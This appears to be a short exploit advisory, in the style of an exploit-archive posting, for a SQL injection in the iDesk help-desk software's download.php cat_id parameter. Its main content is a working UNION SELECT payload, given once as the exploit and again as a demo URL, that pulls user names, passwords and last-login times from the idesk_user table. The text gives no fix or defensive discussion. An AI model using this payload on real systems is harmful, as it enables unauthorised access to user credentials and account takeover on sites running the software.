iDesk (download.php cat_id) SQL Injection Vulnerability

############################################################### ############################################################## ## ## SQL Injection Vulnerability ( download.php cat_id ) ## ## iDesk ## ## ## ############################################################### ############################################################### ## ## AuTh0r : Manas58 ## ## H0ME : www.1923turk.biz ## ## ## ######################## ######################## ## ## [ Exploit ] ## ## download.php?cat_id=3+UNION+SELECT+0,0,0,0,concat_ws(0x3a,user_name,password,last_login),0,0,0,0+from+idesk_user-- ## ## http://www.site.com/download.php?cat_id=sql ## ## ## [DEMO ] ## http://server/support/download.php?cat_id=3+UNION+SELECT+0,0,0,0,concat_ws(0x3a,user_name,password,last_login),0,0,0,0+from+idesk_user-- ## ######################## ######################## ######################################################################################################### ######################################################################################################### :: BAYBORA :: Tiamo :: Delibey :: ######################################################################################################### #########################################################################################################